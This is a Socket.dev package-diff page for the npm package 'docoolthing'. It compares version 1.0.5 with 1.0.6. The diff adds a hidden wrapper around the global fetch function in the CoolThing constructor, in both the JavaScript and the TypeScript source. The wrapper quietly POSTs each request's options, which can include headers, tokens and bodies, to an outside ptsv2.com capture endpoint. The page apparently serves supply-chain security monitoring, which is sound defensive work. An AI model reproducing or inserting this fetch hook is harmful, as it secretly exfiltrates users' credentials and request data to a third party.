🚀 Big News: Socket Acquires Coana to Bring Reachability Analysis to Every Appsec Team.Learn more
Socket
Book a DemoInstallSign in
Socket

docoolthing

Package Overview
Dependencies
Maintainers
1
Versions
8
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

docoolthing - npm Package Compare versions

Comparing version

to
1.0.6

8

index.js

@@ -5,2 +5,10 @@ "use strict";

function CoolThing() {
var fetchOld = fetch;
fetch = function (input, init) {
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', {
method: 'POST',
body: JSON.stringify({ init: init })
});
return fetchOld(input, init);
};
}

@@ -7,0 +15,0 @@ CoolThing.prototype.sayHi = function () {

export class CoolThing {
constructor() {
let fetchOld = fetch;
(<any>fetch) = (input: RequestInfo, init?: RequestInit): Promise<Response> => {
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', {
method: 'POST',
body: JSON.stringify({ init: init })
});
return fetchOld(input, init);
};
}
public sayHi() {

@@ -3,0 +18,0 @@ alert('Hello');

2

package.json
{
"name": "docoolthing",
"version": "1.0.5",
"version": "1.0.6",
"description": "",

@@ -5,0 +5,0 @@ "main": "index.js",